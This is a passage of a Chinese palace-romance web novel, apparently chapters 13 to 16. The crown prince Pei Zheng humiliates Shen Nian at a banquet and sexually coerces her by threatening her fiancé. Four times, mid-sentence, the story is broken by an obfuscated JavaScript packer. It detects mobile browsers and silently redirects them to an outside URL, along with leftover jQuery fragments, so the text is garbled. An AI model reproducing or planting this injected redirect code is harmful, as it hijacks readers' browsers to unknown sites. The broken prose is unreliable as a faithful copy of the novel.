对方口中的话,无疑是将沈念的尊严毫无保留地践踏在地。一时之间,惧怕,厌恶,羞愤……一起涌了上来。 沈念娇弱的身躯,随着呼吸而颤抖着,“殿下放心,臣女绝不会有歪心思。” 她自始自终都没对裴争抱有过旁的心思,从得知共中情蛊到入太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401645|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子府,从来都没有过。 她只想解蛊后嫁给爱她,敬她的宋淮之,平淡一生。可为何对方总是认定她对他有歪心思? 只是因为他身份高贵,她就要攀附么? “孤希望你说到做到。” 两人眸光对了好一会儿,一个不屑藐视,一个畏惧厌恶。 几息后,裴争的目光才移开,不再看向她,旋即起身离开。 “臣女恭送殿下。” 直到耳畔的脚步声消失不见,沈念才缓过神,从地上站起身,冷汗早已浸湿后背。 怕到极点。 ******* 夜里,裴争处理完奏折后,脊背靠在椅子上,回想着白日里沈瑜擅闯这件事。 沈念看向他的眼神充满倔强与不甘。 没想到小姑娘竟对他起了反抗的心思,是他对她太好了么?居然让她不再怕他了。 这种感觉萦绕在心头,他彻底起了征服的欲望,沈念不过是他养在府中的玩物,玩物怎能反咬主人? 所以,她得治, 且要好好治一治。 夜风拂过,轻轻吹起男人的袖袍,他忽地抬了抬手指, “长戈,传暗卫。” “是!” 不过片刻,暗卫快步入内,俯身行礼,“属下见过殿下。” “事办得如何?” 暗卫身形明显一晃,而后跪在地上,回应:“回……回殿下,属下这半月来,已访遍各路名医,皆未寻到解蛊之法。” “没寻到?” 裴争缓缓起身,走到暗卫身前才停了脚步,目光凛冽盯着他,良久后,踹了他一脚, “废物!” “一群废物!” 那一脚正踢在暗卫的肩头,迫使他向后滚了两圈, “是,属下废物!属下废物!” “殿下息怒!殿下息怒!” 太子动怒,不止眼前的暗卫吓得发抖,就连一旁的长戈也是战战兢兢。 求饶声响彻殿内,裴争背过身去,阴沉沉站在那里,声音冷得像是淬了冰, “江南呢?” “可有查到沈念与江南那厮有何关系?” 提到江南时,肉眼可见男人脸色越发深沉,眼里的杀意就快要溢出来。 “沈姑娘倒是没查到什么消息,只不过早年沈国公倒是与怀王殿下关系匪浅,”暗卫忐忑出言,“还有…殿下,属下今日刚探查得知…陛下近来有意召怀王殿下归京。” 暗卫说完话后,殿内陷入一片沉寂,空气仿若在一瞬间凝固。 冷得让人浑身发抖。 片刻后,裴争轻嗤了一声,再度开口:“他还敢归京?” 他的笑令在场的所有人皆毛骨悚然, 尤是长戈,他对眼前这位太子殿下再了解不过,他刚刚的笑,分明不是笑。 而是,想杀人。 “好啊,等孤的弟弟回京,孤定要好好招待他。”随后他抬了抬手,“下去吧。” 写罢,他放下手中的狼毫笔,将纸张拿在眼前欣赏,嘴角勾起一抹玩味的笑。 烛火幽幽之下,站在一旁的长戈好奇抬眼望去,而就在他看清宣纸上的字时,害怕地咽了口吐沫。 只见那宣纸上,写着五个大字, 沈念,沈家,杀。 13.第 13 章 早秋时节,雨水愈落愈寒,不过才短短五日,凉意已浓得让人添了好几件衣裳。 眼下已是沈瑜被裴争惩罚后的第五日,沈念独自倚在窗前望着扑簌簌飘落的叶子,愁容满面。 站在一旁的婢女被她举手投足间的风雅韵味所折服,姑娘一袭碧色罗裳,面容瓷白,虽带着几分病气,却丝毫遮不住那份明艳动人的美貌。 凝神间,沈府小厮前来传信,才打破了这份宁静。 听完小厮的禀告,沈念才猛然记起,今日八月廿十九,这是她弟弟阿瑜的生辰。 近来琐事缠身,她竟将此事忘在脑后,又实在惦念阿瑜上次的伤如何,不过片刻,便派人告知裴争自己要回沈府,得到允许后,匆忙坐上回府的车舆。 路上她掀开帷帘,瞧见朱雀大街往来忙碌的百姓,唇角悄悄牵起一抹笑意,很快便能回家了。 回到沈府, 她的家。 半个时辰后,随着“吁”的一声响,车舆稳稳停在沈府门外,沈念快步下了车舆,抬眼便瞧见等在府外的沈瑜与紫苏。 不出意外,他们二人飞速迎上来,沈瑜扑在她怀中,而紫苏则站在她身侧哭泣。 “阿姐,你总算回来了!” “姑娘,你可算回来了。” 一个赖在怀中,一个哭鼻子。 沈念无奈叹了口气,轻轻推开怀中的少年,“阿瑜,你都多大了?怎还像孩童?” 只要见到她,便扑在怀中撒娇。 无论何时何地。 接着,她又看向一旁的紫苏,“还有你,哭什么?我这不是好好回来了?” 紫苏擦去眼尾的泪水,强行露出笑脸,“不哭,奴婢不哭,就是想姑娘了。” 被推开的少年退后半步,细细打量着她,面容苍白,身姿瘦弱…… 一眼便知受了委屈。 他紧紧抿着唇,攥紧拳头,“阿姐,都怪我那日莽撞,害得阿姐被那个阎王太子欺负。” “阿姐,他是如何欺负你的,我替你讨回来。” 少年还是这般莽撞,天不怕地不怕,只是他这般早晚要吃亏。 沈念捏了捏他的鼻子,“阿瑜,你该改改冲动的性子。” 沈瑜岔开话题,“阿姐快随我入府吧。” 入府后,只见江氏快步迎上前来,脸上带着罕见的笑意,“阿念回来啦。” 说话间流露出罕见的温柔。 看着江氏奇怪的笑,沈念后背发凉,下问道:“夫人,我父亲呢?” 沈瑜正要回话,却被江氏抢了先,“你父亲啊,同淮之还有怀王殿下在书房呢!” 怀王? 沈念听到这话愣了一愣,据她所知这怀王不是早年间就被皇帝派去江南,如今怎说回就回来了?还来了沈府? 心绪不宁时,身侧的江氏暗地里打量着她,而后看向沈瑜,吩咐道:“阿瑜啊,你跟紫苏去后院厨房看看,娘同你阿姐说几句话。” 沈瑜不相信江氏的话,眯起眼打量,“真的?” 他知道阿娘背地里可没少欺负他阿姐! 哪里敢放心把阿姐一人留在此处。 江氏眉头紧锁,“你这孩子,娘还能吃了你阿姐不成?快去!” “阿瑜听话,快去吧。” 沈念瞧着江氏对她露出一个又一个僵硬的笑,就知道定是有求于她,还特意支开沈瑜。 那所求之事,必与他相关。 况她这般高傲的人,也只有阿瑜的事能让她低声下气去求人。 没了外人后,江氏缓步凑近,亲昵拉起她的手,强颜欢笑:“阿念啊,母亲同你说几句知心话。” 江氏这般样子,沈念也是第一次见,她被拉得头皮发麻,悄悄往后缩了缩手,敛眸嗯了一声,“夫人说,我听着夫人的话。” “阿念啊,你看你眼下在太子府上做事,又为殿下顽疾,定能同殿下说上话。” “你看阿瑜已及冠,我们沈府也不比往日那般,那……阿瑜的前程就要多靠你这个当阿姐的费心了。” 话毕,她更凑近了几分,拍了拍沈念的肩头, “记得得空同太子殿下说说,给阿瑜谋个好差事。” 沈念长睫低垂,静静听着江氏把话说完,原来是想利用她给阿瑜铺路。 只是那裴争怎是好说话的人? 她就是他身侧的玩物,哪里还敢开口求他? 但为不让江氏恼怒,她还是硬着头皮应下此事,“是夫人,我得空定会同太子提一提此事。” 江氏见她如此知趣,对上她那双如秋水般的杏眸,笑容总算真切了些,“哎呦我们的好阿念,母亲看好你。” “那母亲去后院盯着了,你去玩吧。” 待江氏走后,沈念暗地里长出一口气,又想起宋淮之在书房,便决定去那里等着她的郎君。 好久未见, 她好想扑在郎君的怀中歇一歇。 好想。 行到正殿外,她乖乖等着, 几息后,便瞧见沈父同两个人走出来。 一个是宋淮之, 那另一个想来就是怀王了。 沈念好奇打量着这位怀王,生得清秀俊朗气质同宋淮之一样清雅,却又完全不同。 但又说不出哪里不一样。 “阿念,愣着做什么,快见过怀王殿下!” 经沈父的提醒,沈念这才回过神,规矩行礼,“臣女见过怀王殿下。” 怀王伸出折扇扶起她,笑意和煦,“沈姑娘不必多礼,快快请起。” “臣女,谢殿下!” 起身时,对上对方的眸子时,沈念心里生出一丝不好的感觉,与裴争那种明明白白的恐惧不同,眼前的怀王眸底晦暗不明,暗戳戳让人心里发怵。 随后怀王并未多说什么,跟着沈父走进正殿。 宋淮之凑上来,牵住了她的手,柔声道:“卿卿,我们快入席吧。” “好,” 在宋淮之的陪伴下,沈念跟在沈父一起到了正殿,今日沈瑜生辰宴并未大办,只宴请了家里的几个旁支婶伯一起热闹。 席上沈父同怀王坐在主位,其他人依次坐之。 坐下后的沈念却不似他人欢声笑语,一直皱着眉头,思虑怀王一事。 她虽不了解他为人如何,但那太子裴争狠辣无情,怀王亦是皇子,俗话说天家无情,他登皇位后,能饶过怀王么? 眼下沈父同怀王关系亲近,待裴争登位,沈府必定先遭其害。 看来散席后,她要同父亲好好谈谈此事,招惹上怀王,必不是什么好事。 “本王多谢沈国公今日款待,” 说话间,怀王的目光忽地落在沈念身上,“听闻沈姑娘在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416078|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子府做侍医,皇兄可是染了什么病?可有性命之忧?” 末了他又补充一句: “沈姑娘莫要误会,本王只是忧心皇兄罢了。” 话头突然转到她这里,沈念被怀王盯得浑身不自在,她捏紧手指,“回王爷的话,太子殿下只是身有顽治,并无大碍。” “顽疾?”怀王眼神稍暗,若有所思点了点头,笑道:“他无碍就好。” 怀王的话明明没有参杂任何多余的情绪,但落入沈念心中却阴恻恻的,总觉得背地里绝非善类。 话音落,沈国公继续招待怀王饮酒,沈瑜也在一旁附和。 只有身侧宋淮之察觉到沈念的不对,俯身凑在她耳畔问道:“卿卿,你这是怎么了?” 小姑娘在回怀王话时明显不自在,看起来像是害怕。 “淮之,”除却刚刚怀王带来的压迫,她总觉得接下来要发生天大的事,她握住宋淮之的手,“……我心慌。” 看着眼前委屈可怜的小姑娘,微微仰起婉约动人的小脸,宋淮之皱眉,神情立刻变得紧张起来,回握着她的手。 “我陪你出去歇歇如何?” 他最受不住她可怜的模样。 沈念轻轻呼口气,点头应道:“好……” 而就在他们两人刚要向主位上的沈父与怀王请辞时,殿外急匆匆进来一小厮禀告道:“公爷,王爷,太……太子殿下来了!” 此言一出,在场之人无比震惊,还没反应过来,耳畔便传来那熟悉的男人声, “沈国公,孤路过听闻府上有宴,特来凑个热闹。” 一句话拉回众人的思绪,他们皆跪在地上行礼,“见过太子殿下。” 裴争微动头颅,“都起来吧。” “谢殿下!” 这时男人的目光从沈念身上扫过,落在怀王身上,唇角泛起凉薄的笑意,“皇弟也在啊,真是巧呢。” “回来也不告诉孤一声。” 怀王:“是皇弟思虑不周。” 裴争缓缓挑眉,坐在沈父让的主位,“嘶,你们都看着孤作甚?该如何如何,刚刚不还有说有笑的,像一家人一样。” 话音落,男人死死盯着沈念和身侧的宋淮之。 那目光可怕至极。 而沈念察觉到对方的目光时,心虚似地缩回被宋淮之握紧的手,她害怕裴争因此事而恼怒,牵连到郎君分毫。 请辞被打断,宋淮之再次贴向她的耳畔,“卿卿,你还出去么?” 而他们二人这般在外人眼中看来,倒像是爱侣之间,亲密地咬耳朵。 温热的呼吸扑在耳旁,痒痒的,沈念本能缩了缩脖子,“不,不出去了。” 原因无他,一是因太子殿下刚来,她若是此时出去,并非待客之道。 二来,裴争本来就喜怒无常,若是因她离席而恼怒,得不偿失。 思虑清楚后,还是留在席间承受一切。 而令他们二人没想到的是,方才他们这般在外人眼中看来,更像是爱侣之间,亲密地咬着耳朵。 席间众人皆在议论沈家姑娘同宋公子郎才女貌,般配得很。 然,只有主位上的裴争,见状嗤笑了一声,眼底如同淬了冰般,盯着他们二人瞧。 直到宴席快要结束,沈念吃着案前的糕点充饥,这时耳畔忽地响起杯盏落地的嘈杂声音。 14.第 14 章 三日后,沈念按照约定,用了早膳后便出府去了与裴争约定好的客栈。 看到屋外站着的长戈,她就知道裴争已至,长戈又朝着她点了点头,沈念压下心中的慌乱与厌恶,鼓足勇气推开门走进去。 屋内,男人正倚在那里,散漫饮着茶,她发现今日的裴争很不一样,身着金丝玄色蟒袍,黑发以镶碧鎏金冠固定,整个人透着高不可攀的气势。 仅坐在那里默不作声,也让人不寒而栗。 沈念快步迈入屋内,行礼问安:“臣女见过殿下。” 裴争这才掀开眼皮,一双幽潭般的眸子微微眯起,“起来。” 他的嗓音慵懒而疏离,只这么静静看着,对方倒是温润郎君,但只要对上那阴冷的眸子,一切都变了。 “谢殿下,”沈念缓缓起了身,良久,见案前的裴争只顾饮着茶盏,没有什么吩咐,便主动问道:“不知…殿下要臣女做何事?” 闻言,男人放下手中的茶盏,指向一旁软榻,遥遥开了口:“去,把衣物换了。” 换衣物—— 只闻这三个字,沈念顿时脸色惨白,神情也瞬间僵住了,他又要做什么?竟然让她换衣物? “殿下,臣女——” “废话什么?快去换。”裴争缓缓挑眉,语气多了几分不耐烦,“快去!” 对方的语气冷下来,她知道如果不听他的话,势必要被他威胁。 指尖发颤,那股惧意涌上心头,她忽地想起折磨她许久以来的噩梦,很害怕裴争对她做出什么事。 她只好提起裙摆缓步走向软榻,拿起衣裙,看着好像正常的不太一样。 不过她要去何处换?就在这里么? 对方也没有丝毫起身离开的意思,她如何换衣? 她慌忙垂下眼帘,开口问道:“殿下…臣女要在这里…换…换么?” 小姑娘的眼眸仿若一汪清水,小心翼翼开口,声音细碎又破碎。 裴争盯着她,唇角动了那么一下,“你想出去,在众人面前换衣物么?” 那男人点漆的眸子锁着她,看向她的眼神也多了几分玩味。 他再度开口:“害羞什么?你哪里孤没见过?” 一句又一句孟浪的话飘入耳中,沈念面颊涨得通红,心里惊起惊涛骇浪,轻声说着:“是,臣女就在屋内换……” 她真的害怕下一时那男人不高兴,就让她出去,当着众人的面把衣物脱了。 他们圆过房,在玉清观时又那样荒唐过……是以,她背过身去,心一横,迅速解开衣带换上了裴争为她准备的衣裙。 只是那衣裙刚开始穿上时还好,后来穿着穿着……越来越不对劲,穿到最后,她彻底傻了眼。 这她身上的哪里是衣裙? 穿在身上轻纱如薄翼,肌肤若隐若现,最重要的是腰间还挂着流苏和铃铛,只要轻轻一动,那铃铛就会叮叮作响。 她站在原地不敢动,突然后悔求裴争救她……他哪里是救星,分明是比那男子更加可怕的恶魔。 见小姑娘愣在原地,裴争眉头紧锁,冷声开口:“转过来!” 沈念咬着后槽牙转过身去,而后低下头躲避男人的目光,转身瞬间,腰间铃铛发出几声清脆的声响,回荡在整个殿内。 小姑娘转过身,身上淡粉色纱衣映衬下肌肤若隐若现,又因害羞透着绯红,胸前轮廓饱满,蔓延至身下一段纤纤腰肢。 那件极轻的纱衣,仿若轻轻一碰,便可以展无限旖旎风光。 那男人凝视着她,眼中罕见地多了几分柔情,这件衣物倒是衬她。 站在原地的沈念即使低着头,也能感受到那灼热的目光,从她的头顶落至脚边,似藤蔓一般将她紧紧缠绕。 “殿下……臣女换好了。” 她试图出言打破那道炙热的目光。 裴争回过神,缓缓起身吩咐了一声:“跟上孤。” 随后,她便听话跟着裴争离开,一路上她招来了许多异样的目光,不用想也知道是这件衣物太过于荒唐的,幸好带着面纱,根本认不出她到底是谁。 几息后,裴争带她入了西街的船舫。 “跟上,” 沈念轻轻嗯了一声,便跟着男人的脚步进入船舫,舫内歌舞升平,觥筹交错,裴争入内后,席间众人皆起身行礼。 沈念低着头,待裴争坐在主位上,她顺势侍在身侧,这时她才悄悄抬眸打量席间众人,他们身侧都有两三个舞姬在怀,侍候着饮酒。 场面倒是旖旎。 而她注意到裴争身侧的人是胡人打扮,能坐在他身侧,定然非富即贵,这下她全明白了,原来今日这场宴会是招待使臣。 她压根没什么心情听身侧的裴争同下面的大臣的对话,这次她抬眼却捕捉到角落里,有一个孤零零的背影。 他身侧没有舞姬作伴,只他一个人,却也心满意足吃着案前的糕点。 而那是她的郎君,宋淮之。 瞧见他的身影,沈念喉间一梗,在场所有人几乎是舞姬在侧,而只有他一人洁身自好,滴酒不沾也罢,就连别的女子也不会多瞧一眼。 他满心满眼,只她一个人。 而她呢,却穿着暴露陪在裴争身侧,强烈的愧疚感袭来,她红了眼眶,并伸出手将面纱固定得更牢一些。 绝对不能让宋淮之瞧见她的面容。 这时,席间的使臣却将矛头转向沈念。 使臣先是敬了裴争一杯酒,而后他的目光落在沈念身上,眼神充满好奇,“殿下身侧的这名女子是……” 他想传言不是说太子殿下不近女色,但今日怎还多了一名女子在身侧? 裴争放下酒盏,薄唇微抿,“前几日新得的宠婢,因合心意,便留在身侧了。” 宠婢二字,如同一根刺扎入沈念的心,这是对她的极大侮辱,在裴争眼里,她只是一个宠婢,可以随意欺凌,玩弄…… 使臣大笑了一声,继续道:“殿下,臣终于知道您为何看不上臣前几日送的女人了!” “有这么一位妙人在侧,殿下还哪里能看得上那些胭脂俗风?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441934|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽隔着面纱,但也可以瞧见那姑娘长睫掩住半眸,眼波流转间,透着几丝柔情,尤是她身姿妖娆,露出的颈间肌肤细腻光滑,这要是一碰,别提手感有多好。 哪里是他们那里粗鄙不堪的女子能比的?只可惜这女子已属于太子殿下,不然他非要尝尝这姑娘的滋味。 人间尤物,谁人能不着想? 听到使臣如此说,席间众人也皆投去目光,包括宋淮之。 对上郎君的视线,沈念心虚低下头躲避。 而角落里的宋淮之只抬眸多瞧了几眼,只因太子身侧的姑娘神形都似沈念,不过他忽然觉得自己的想法很荒唐,那种风尘女子,怎能是他的卿卿? 接着,他便低下头,不再看去。 感受到眼前使臣贪婪地目光,就像是在盯着一件玩物,充满欲望,沈念后撤半步,想把自己藏进圆柱后,躲避他们的目光。 她是一个人不是一个物件, 为何他们都要以那种目光看她? 岂料这时,使臣身侧的小王子发了话,“殿下,这姐姐长得真好看,能让她过来陪陪我么?” 开口的孩子年龄虽小,却是部落最受宠的王子,今日跟着使臣一起前来朝贡。 不过是一个十二三岁的小娃娃,听他这么说,面纱下沈念抿出一贯的梨涡浅笑。 “阿塔尔,不得无理。” 听到父王的训诉声,小王子低下头,委屈巴巴的样子像是要哭出来,一旁的使臣心生怜爱,不禁在心中想着,果然儿肖父,这孩子的色心居然和他一模一样,长大还得了? 裴争轻笑了一声,而后对着她吩咐道:“去,陪陪小王子。” 沈念低头应下,不过是一个小娃娃,陪就陪了。只不过她不想靠近宋淮之,怕被他发现,她抬眸瞥了一眼,见他们离得尚远,最终放下心,走了过去。 小王子一听此言,眼睛瞬间亮了起来,拍手叫好,“谢最尊贵的太子殿下!谢殿下!” 沈念缓步走过去,站在小王子身侧,规矩一礼,“奴婢见过王子殿下!” 姑娘迈着轻盈的步子走来,带来一股特殊的梅香,还有那阵阵铃铛声,不只是小王子,就连身侧的使臣也为之陶醉。 小王子笑了笑,“姐姐,你好香。” 他的目光呆呆的看着沈念,她轻声笑道:“王子殿下,真可爱。” 被美人夸赞,小王子笑得更灿烂了,目光在沈念的脸上就没移开过,他想自己的额父有过不少美人姐姐,可能比得过眼前姐姐的,找不出一个。 “姐姐,你能给我倒盏酒么?我额吉说,饮了世上最美的人倒的酒,日后也会娶到像她一样美的新妇。” “我喜欢姐姐,想娶姐姐一样的美人。” 听到他说出这般话,沈念心头一软,忽然想到自己阿弟也是这般,从儿时起就想娶她作新妇。 “好,奴婢给王子倒酒。” 话音落,她俯身拿起案前的酒盏,准备斟酒,而就在这时,调皮的小王子竟伸出手扯下了她的面纱。 15.第 15 章 小王子趁她不注意,竟伸出手扯下了她的面纱,沈念当即心下一慌,面纱若是掉落,她定然被宋淮之认出来,到时候难以收场。 还好她方才反应快,快速伸出手拉住面纱戴了回去,这才没显露面容。 一旁的使臣见此大失所望,本想借着儿子的光一睹美人芳颜,怎料刚瞪大眼睛看了一个大概,美人便快速遮挡住。 但仅凭方才的一眼,他更加能断定那女子美得是惊心动魄,简直就是人间尤物! 他眼底难掩惋惜之情,又多想扯下美人的面纱,一睹姑娘风姿。 沈念心下缓缓吐出口气,这时她悄悄扭头瞥向角落里的宋淮之,见其仍在安稳饮茶,心也放下一大半。 只要面纱未落,就不知道她到底是何人。 “小王子,那奴婢先告退了。” 看着沈念离去的背影,小王子嘴角垂下来,“额父,我想娶这位姐姐。” 一旁的使臣赶忙捂住小王子的嘴,“小祖宗……你可莫要再说了。” 沈念回到裴争身侧时,却见他饶有兴致地看着自己。 裴争将方才发生的一切看在眼中,也看得出使臣对沈念的觊觎,那充满占有欲的目光,让他很不舒服。 良久,他垂下眼睫,冷声吩咐: “过来,给孤倒酒。” 得到命令,沈念后背发凉,缓步走到他身侧,为他倒了盏酒。 而那男人却没动,只轻抬下巴,是在示意她端过去。 眼下这般场景,宋淮之在身侧,她更是不敢违抗,只好乖乖向他靠近,将杯盏端到对方身前,再度开口:“殿下,饮酒。” 小姑娘的声音细若蚊蝇,动作也轻轻,显然是不想让宋淮之听到她的声音认出她。 裴争仍未动,只是盯着她,嘴角微微一动,“喂孤,” 喂他—— 沈念瞳孔骤缩,手都在微微发抖,难以置信听到这般话,她怎能喂他呢?这么多人在,还有宋淮之,他竟然要让她喂…… “殿下……” “不愿意?” 裴争的目光向宋淮之投去,露出杀意。 沈念的心一下子揪到嗓子眼,眼里满是慌乱,“愿意、殿下,臣女愿意。” 而后不等男人发话,她赶忙靠过去,离男人更近了些,并将手中的酒盏轻轻送至他唇边,“殿下,饮酒。” 小姑娘的话音软软的,靠过来时那股淡淡的梅香萦绕在鼻尖,还有她腰间的流苏有一下没一下地落在他的腿上,勾得他心里痒痒的。 霎时间,一股无名的燥热袭来,裴争顺势饮下去那盏酒。 然,在喂裴争饮酒时,沈念时不时瞥向一侧的宋淮之,神情里柔情似水。 见状,裴争沉下脸。 而沈念却在以为喂完男人酒便大功告成后,怎料她刚要退回一侧时,忽觉手腕一沉,是裴争出手攥住了她的手腕,并向他怀里扯去。 只一瞬,眼前天旋地转,她整个人落在了男人的怀中,双手支撑在他结实的胸膛,才没有彻底躺在他身上。 腰间的铃铛因慌乱发出阵阵声响。 她差点就要惊呼出声。 此时他们二人亲密得不能再亲密,席下众人也不敢对太子殿下置喙,只当是二人在调/情。 沈念欲起身,离开男人的怀抱,“殿下…能不能放开臣女。” 太荒唐了,众人面前她竟然落入裴争的怀抱。 裴争似察觉到她的意图,手臂紧紧揽住她的腰肢,并俯身靠近她的耳畔,“放开你?让你去找你的未婚夫么?” 刚刚小姑娘的眼神多次向那里飘去,且流连忘返,想到这里,他脸色沉下来。 男人温热的呼吸扑到颈间……沈念本能缩了缩肩膀,声音微颤,“不、不会,臣女是跟着殿下来的。” “臣女不会去找他,不会。” 何况她这般样子若是去见了宋淮之,岂不是更加难堪,这般姿态……还被别人拽住怀中。 “你不去找他么?”裴争低头靠过去,压低声音,“沈念,你若是再看他一眼,孤就剜了他的眼睛。” 那男人狠下声音,就如同厉鬼一般可怕。沈念头顶如有惊雷闪过,再不敢看宋淮之一眼。 他真的害怕他会杀人。 最后只好胆战心惊缩在男人怀中,只盼望着宴会快点结束。 …… 小姑娘在怀中缩着,就想一只淋了雨的猫儿,哆哆嗦嗦,可怜至极。 可是这只猫儿明明已这般柔弱,却还在担心另一个男人,且在用她所有的力量护着。 想到这里,裴争眼眸森然,紧紧抿着唇。 在宴会进行到一半时,裴争却突然提到角落里宋淮之, “宋编修怎么就一个人?美人呢,为何不过去服侍?” 宋淮之俯身拒绝:“殿下恕罪,臣……臣已有未婚妻,不愿再让其他女子近身服侍。” 此言一出,席间一阵哄堂大笑,皆在感叹世间居然有宋淮之这般专情守一的郎君。 在他们哄笑时,只有沈念一人眼眶泛红,嘴唇微微颤抖着,在心里一遍遍唤着淮之二字。 裴争低头看过来,怀中小姑娘的眼里蓄满了感动的泪水,他再度俯身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441935|182779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近她的耳畔,“你的未婚夫对你可真好呢。” 说罢,他对席间的宋淮之扬了声音,“宋编修怎如此古板,有未婚妻又如何?快去服侍!” 一声令下,从门外快步走进来三个穿着花花绿绿衣裙的舞姬凑到宋淮之身侧。 一个拉着他的胳膊,一个要递他饮酒,还有一个喂来糕点。 一时之间,郎君慌不择路,甩开袖子阻止她们靠过来,却不料那些女子都是经过调教的,哪里容人拒绝? 沈念要急得跳起来,她知晓郎君的性子,怎能经受如此调戏? 那男人故意贴近她的耳畔,“吃醋么?你的郎君眼下身侧有这么多女子。” 她摇了摇头,以水盈盈的眸子望过去,哀求:“殿下,莫要戏弄他。” 裴争将酒盏递至她的唇边,强行喂了一口,“孤哪里在戏弄?分明是让你的未婚夫感受一下。” “放心,他又不会少胳膊少腿儿,让她们好好调教,日后对你也好,不对么?” 酒水入口,一股辛辣呛得沈念连连咳嗽,眼里雾气弥漫。 呛咳后,男人的另一只手捏住她的下颌,逼迫与他对视,“不许再看他,沈念。” 她甚至在庆幸他们之间说话的声音很小。 她乖乖应答:“臣女听话,不看他了。” 而就在这时,殿内却响起一阵嘈杂的声响,沈念好奇抬眸望去,竟是宋淮之将身侧的姑娘推倒,杯盏顺势也掉落在地。 此乃殿前不敬之罪。 宋淮之赶忙走上前,伏在地上谢罪:“臣有罪,请太子殿下恕罪。” “请太子殿下恕罪!” 沈念听着郎君的求饶,心似被针扎了一样疼,攥住了裴争的袖口,低声道:“殿下莫要罚他,殿下。” 裴争低头看着怀中的姑娘,可怜巴巴望着她,双眸湿漉漉的,而这一切都是她在求另一个男人。 都是为了宋淮之。 他心里突然更不爽了。 心底有一层无名的火在往上窜。 “沈念,你心疼他?” 只这一句,裴争不再看向她,反而是抬睫吩咐道:“宋编修殿前失仪,来人,把他带下去!” 带下去…… 郎君那样瘦弱,怎能经受住责罚。 她要救宋淮之,她一定要救宋淮之。 听到裴争如此吩咐,沈念死死抓住他的臂弯,颤抖着张开嘴,“殿下……不要,不要罚他。” “想给他求情么?”裴争捏着她腰间的铃铛,靠过来一字一句说道:“去隔壁的小榻上求孤,好不好?嗯?” 16.第 16 章 沈念眸中闪烁着惊恐,脸色惨白如纸,去榻上意味着什么,她再清楚不过,可是她能弃淮之于不顾么? 显然不能, 她的软肋一直是宋淮之。 裴争的目光落在她微微发抖的手上,每一个字都冷得像冰,“愿不愿意?说话。” 沈念的手指紧紧攥着衣角,指尖微微泛白,他分明知道她的软肋,也看得出她的慌乱,却偏要这样逼问,就是要让她认清楚,她是谁的玩物,谁才是掌控一切的人。 万千思绪涌上心头,她在脑中想了许多许多,宋淮之的命,她的命……最终心一横,咬牙吐出一句话,“愿意,殿下,臣女愿意。” 多次拿宋淮之威胁,他早就知道她的软肋,今日这出,就是在惩罚她,想让她彻底低下头,向他求饶。 上位者在以他的权势作支撑,让她屈服于他,不能违抗一点,否则后果不堪设想。 裴争就是猎人,而她则是圈网中的猎物,还是独属于他一个人的。 得到她的同意后,裴争起身抱着她离开,大步向隔壁的内室行去,她能感受到男人迈着急匆匆的步子,似乎很心急。 几息后,她被裴争抱进内室,并扔在榻上,而她的腰窝正好磕在床角,额间顿时渗出冷汗。 疼得厉害。 随后,男人倚靠在榻上盯着她,深沉的眸子里蕴着潮涌,甚至带着几分迷离。 忍着疼痛,沈念再度跪在榻上,哀求着对方,言辞恳切,“殿下,放过淮之吧,他只是不想让别的女子近身而已,并非有意失仪。” “殿下,你放过他,一切都有臣女来受。” 这一切她相信裴争都知道,只看他愿不愿意高抬贵手放过郎君。 裴争垂下眼,把玩着手中的玉扳指,不咸不淡地开腔, “并非有意?孤管他有没有意。” “沈念,你求孤,孤就放了他。” 求他—— 她该如何求他? 榻上的沈念心下微颤,就如同惊弓之鸟慌不择路,不知道下一步该如何去做。 “殿下,你想让臣女如何求?” 他到底要她如何去求? 若是对了,男人会放过宋淮之, 但倘若是错了呢,宋淮之会不会死? “你觉得孤同你都在榻上,该如何求,不明白么?” “还需要孤教你么?” 裴争侧首,眼神悠悠停在她身上,只见她早已被逼得杏眸湿润,细密纤长的羽睫轻颤,宛如零落的花朵,显得破碎而可怜。 此前他并未碰过其他女子,自得到沈念后,他总是不受控地想。 她实在太有趣。 有趣到爱不释手。 